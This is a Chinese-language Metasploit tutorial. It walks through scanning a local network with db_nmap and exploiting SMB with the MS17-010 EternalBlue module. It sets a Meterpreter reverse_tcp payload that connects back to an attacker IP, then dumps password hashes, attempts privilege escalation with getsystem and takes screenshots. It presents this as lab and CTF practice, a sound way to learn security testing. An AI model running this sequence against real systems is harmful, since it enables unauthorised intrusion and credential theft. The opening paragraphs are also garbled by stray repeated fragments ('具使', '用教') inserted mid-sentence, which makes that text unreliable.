msf工具使用教程
很多人第一次打开 msfconsole 会愣住——满屏的具使模块路径、payload 名称、用教参数选项,具使像进了飞机驾驶舱。用教其实 Metasploit 的具使核心逻辑就一句话:选一个漏洞利用模块,配一个 payload,用教打过去,具使拿 shell。用教剩下的具使都是围绕这句话的细节。
先解决安装问题。用教Kali 自带,具使不用折腾。用教Ubuntu 上跑 curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall 就行。具使装完执行 msfdb init 初始化数据库,用教否则后面搜索模块慢得让人想砸键盘。具使
启动用 msfconsole。进去之后第一件事不是急着打目标,而是 db_status 确认数据库连上了。没连上就 msfdb start。这个习惯能省很多事——数据库通了,你扫到的结果才能直接喂给利用模块。
信息收集阶段
假设目标网段是 192.168.1.0/24。用 db_nmap -sV 192.168.1.0/24 扫一遍。注意是 db_nmap 不是 nmap,前者会把结果存进 Metasploit 数据库。扫完 hosts 看主机列表,services 看开放端口和服务版本。我见过有人扫完不存库,后面手动一个个填 IP 和端口,纯属给自己找麻烦。
services 输出里如果看到某台机器开着 445 端口,SMB 服务,Windows 系统,那基本可以往 MS17-010 方向试。搜索模块:search ms17-010。结果里 exploit/windows/smb/ms17_010_eternalblue 是常用的那个。
配置与发射
use exploit/windows/smb/ms17_010_eternalblue 进入模块。然后 show options 看需要填什么。必填项通常是 RHOSTS(目标 IP)和 payload 相关参数。
设置目标:set RHOSTS 192.168.1.105。设 payload:set payload windows/x64/meterpreter/reverse_tcp。然后 set LHOST 192.168.1.200(你的攻击机 IP),set LPORT 4444。
这里有个坑:LHOST 千万别填 127.0.0.1。payload 要回连的是目标能访问到的地址,不是你自己本地的环回。新手常犯这个错,然后纳闷为什么 session 建不起来。
确认配置无误,run 或者 exploit。运气好的话几秒后你会看到 Meterpreter session 1 opened。这就拿到了。
Meterpreter 常用操作
拿到 session 之后 sessions -i 1 进入交互。几个高频命令:sysinfo 看系统信息,getuid 看当前权限,hashdump 抓密码哈希(需要 system 权限),screenshot 截屏,shell 直接掉进 cmd。
权限不够就 getsystem 尝试提权。不行的话 background 把 session 挂后台,用 post/multi/recon/local_exploit_suggester 看看有什么提权路径。
实际打靶机的时候,MS17-010 不一定每次都成。目标可能打了补丁,或者防火墙拦了 445。这时候换思路——Web 服务有漏洞就走 Web 利用模块,比如 exploit/multi/http/ 下面那一堆。Metasploit 的模块库大得离谱,search 命令配合关键词基本都能找到对应的。
最后提一句:msf 的 resource 脚本功能很实用。把常用配置写成一个 .rc 文件,msfconsole -r setup.rc 启动时自动执行,省去每次重复输入。打 CTF 或者做批量测试的时候能省不少时间。









